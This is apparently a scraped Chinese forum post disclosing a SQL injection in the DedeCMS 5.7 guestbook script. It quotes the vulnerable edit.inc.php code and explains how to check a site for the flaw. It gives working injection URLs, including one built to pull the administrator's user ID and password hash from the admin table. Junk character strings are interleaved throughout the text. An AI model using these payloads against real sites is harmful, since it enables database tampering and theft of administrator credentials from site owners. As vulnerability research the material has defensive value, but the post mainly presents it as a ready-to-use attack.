影响版本为5.7
% S2 ~% @- c7 @! u! ~
$ N+ t, `' E- f' ?; t漏洞文件edit.inc.php具体代码:
* [& h3 k& W5 L) v" Z( I1 l' n% R4 ~ j, g
< ?php % B0 _; Y& W1 T0 K
( ?. `( a( I$ u# c% y* Vif(!defined('DEDEINC')) exit('Request Error!');
- K& U) x& a. e: H& f2 s; a5 y P
0 J1 i- R* T( P# j% }
: C j5 L) O+ O. z6 Y
4 o) W8 N- r' {1 E8 H) {. {if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; * j5 S- K0 e: R8 p: l6 q
8 ]# V+ Z" Y- m7 w6 Felse $GUEST_BOOK_POS = "guestbook.php"; " e$ q6 [* |# H% R2 d( }/ [
4 e6 m! T- M2 V# \$ ~
2 u- G2 E7 {' [/ v$ r
: {5 ?; D* z) h: z$id = intval($id);
' Y4 @: A; L2 f x
6 I# y( S u! q" l5 b: `if(empty($job)) $job='view'; % J+ F. j3 F% Q
$ F3 L! }0 y* {, r" I" t
/ z* Q0 f1 L' ]1 U5 `# g* g
# o- b- M) g& S# rif($job=='del' && $g_isadmin)
d' {7 y$ C& e; Z$ a* b6 m8 o7 V) L5 C, U6 U8 @9 H; a# o
{ * r) X- D0 X* L$ Q. E) [* I
7 X, z9 V: T# Z4 } k& T$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ! E2 P( i2 d0 m/ b4 z
' }* A) S _! s' S
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); - ]4 Z# g* N1 J' T3 D" |
7 ~, f+ P D% l( r! Z. s& C7 n2 c
exit(); : |4 E$ O# J- R
" i, B# v5 F5 e. {
}
) b! C4 y4 G" a& N% \, c4 i0 b& Y9 T! ^5 W& G; m0 J
else if($job=='check' && $g_isadmin) + V8 _% Q. ?8 h* C
3 D7 S. L) R1 @1 w0 n
{
% k* A/ |- a- a) _
" u+ u! p( g# V+ R( `& L5 Z& v1 @; D$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
Q* `/ Y6 H2 F. }3 }, k! j
. Z1 A7 J8 l. w' gShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
1 z) ?0 Z6 z& A( W' y- _6 n
7 o! a# r' o/ c' Xexit();
9 w2 { d5 z4 w0 Y* B) X
1 V+ C0 f: K$ X; d& K0 W}
3 }! ]1 j* o, L& C) o. b0 `+ k0 b% W( }
else if($job=='editok') 6 I4 a( {4 f! F3 B
/ G3 N8 |& |) d* f% a+ ]7 y{
/ Q( o: Y0 k, c3 R- y) q- F" O7 h! M0 K F+ u& S
$remsg = trim($remsg);
2 z/ @: j3 H8 s; ?5 t( ^2 P/ Z" u3 m! ^0 d# t3 s! [ {
if($remsg!='')
8 [1 X$ d7 \# F+ e$ Q
t# N# o) `, F% x3 z0 n, b{
y' R0 ~, @3 F% @+ {6 m5 t$ L1 ^' y3 ^
//管理员回复不过滤HTML By:Errorera blog:errs.cc
6 }+ W. N; e! g" x
5 ]' r6 e/ ^% b1 v) L% Qif($g_isadmin)
5 Z: t( ?6 k9 U# I9 b( w! {+ r) p# s
{
! O! G! K9 l: ~8 ]6 S
9 c u' F- V* U) P/ S$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; ( T, a. R/ G% d5 a7 }7 `3 X3 Y
6 P$ v5 y1 T+ ?' k( b4 A) V
//$remsg <br /><font color=red>管理员回复:</font> } & D. q+ t, w! E" ]. }* S1 M2 Q
* l2 q& u5 A' u6 S! A9 j6 `
else ! k3 v5 \: T9 f h8 Q4 {( W
4 y' I- u( p6 N6 m& |
{ 1 S7 R S5 Z/ s1 ?, _$ p3 Z
8 ?) E2 |1 L% F( h% ~, l- c# |
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
1 f, K) M% g+ O5 E9 f4 V/ F' x0 z: B* }; i
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; & R5 T5 g1 ]( A) V) q* | J7 D b
' f( K' f& F% z' q0 r- ~4 z* X2 D$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
: |' P* H* _6 S7 }; ?3 }! I& I4 Z# w6 K/ a+ g7 {
$msg = $oldmsg.$remsg; 9 ~4 { V' X9 w4 E# G2 m1 E
( o. U" `6 S& S3 E3 v} 9 e( X6 ^$ b! {" l
: _3 z# `/ f# X
} ) G: }2 k6 Z' | g& d3 f
2 d s& \. F9 C' o
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
+ q: W& Q7 o4 d. V4 \+ i' d" B1 y n+ g. B8 ]$ j- u$ M, r
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); # [: V) ~! }8 U4 D& q) C" u
8 C% N" ~& [7 i8 _
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
0 I9 }$ h2 b' Q# r. V3 r- A" k' Q5 E7 A3 L2 F5 v% \
exit();
% O8 p! ~) h/ }( h' L+ C# P$ [1 |# Z; y
6 h1 P7 s- J# Q" a9 y+ M, U} 1 A8 I6 q8 J; } U4 @* M2 K
( \8 Z! U0 w5 `& x//home:www.errs.cc + H- P3 X7 I- d0 i( g7 O3 _
- v/ R2 a- O5 }- a
if($g_isadmin)
* ?0 B. t% l8 t5 l, \/ r
8 A' r4 p# ^7 p7 S{
2 n; T4 \; R; I9 m w9 x7 `2 \9 C. U& L' E/ N2 Q1 ]
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
3 Q5 M1 p! v2 E: \. T# R" [2 \+ X: U
8 ?- P q; C/ q( Qrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); * M1 r# h9 z; z) E
- A' n A M2 {3 y
}
' l5 z+ n4 u2 T E" g" W
6 o/ x' ]) p- A! Melse
9 W: N! W5 ~+ y% m j
( X+ R8 m1 g% Z' ] P- K7 @{ & h! b5 X8 v1 x2 S
. J1 d1 ]4 k% P* s! @! f$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
% e G- x" l) j, e- j, Y$ u
: g; y! A) x$ I0 [! `2 trequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); - V2 C! [5 z6 D+ C5 N
4 U0 h8 y7 {% K& |3 J$ P* b} 漏洞成功需要条件:
" r+ s9 _' H8 c+ T% s$ {1 {3 p1. php magic_quotes_gpc=off: P& r9 X7 A* _5 S3 k9 n. e7 a: B
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。) P) a% X' R4 P' r
( m$ V8 X! q* c) X; B* g
怎么判断是否存在漏洞:
& P/ N% U) _* M先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,6 o( s# o: j V; b1 T' k9 Z0 ]
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
3 U3 T' y3 m' J, w2 R7 M! U! ^访问:( h9 z$ x- @. [' T8 ^& ?
$ F% g' Z' V/ N* wwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
) ]) T7 |; E1 T& q5 ]( u跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证$ R! f0 ]9 U4 |5 t8 I1 c3 ]" c
8 w4 ]% U) s6 p9 d1 ~3 m, R( I1 Z
& n+ N* a) r7 A/ F: w) p
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off( S6 M! x1 U* Q: _
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
7 A/ F& o1 F1 J& z. e/ l那么再次访问' h2 Y: t' o4 Y3 o
# m: [- p+ b+ `' \5 _6 }
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
Y. W/ k `9 G. Q0 Y3 _- F# Q$ h- m; [9 E, ~! P, M. I, _
大概利用就是这样,大家有兴趣的多研究下!!! |3 Q9 S2 ?( r9 F4 k9 z# P8 G
" R3 ?7 F+ P2 P" r- m6 r6 k
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!' ]1 P( L2 Y# B
" \2 Z/ d8 c$ ^% z& f8 x0 O
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |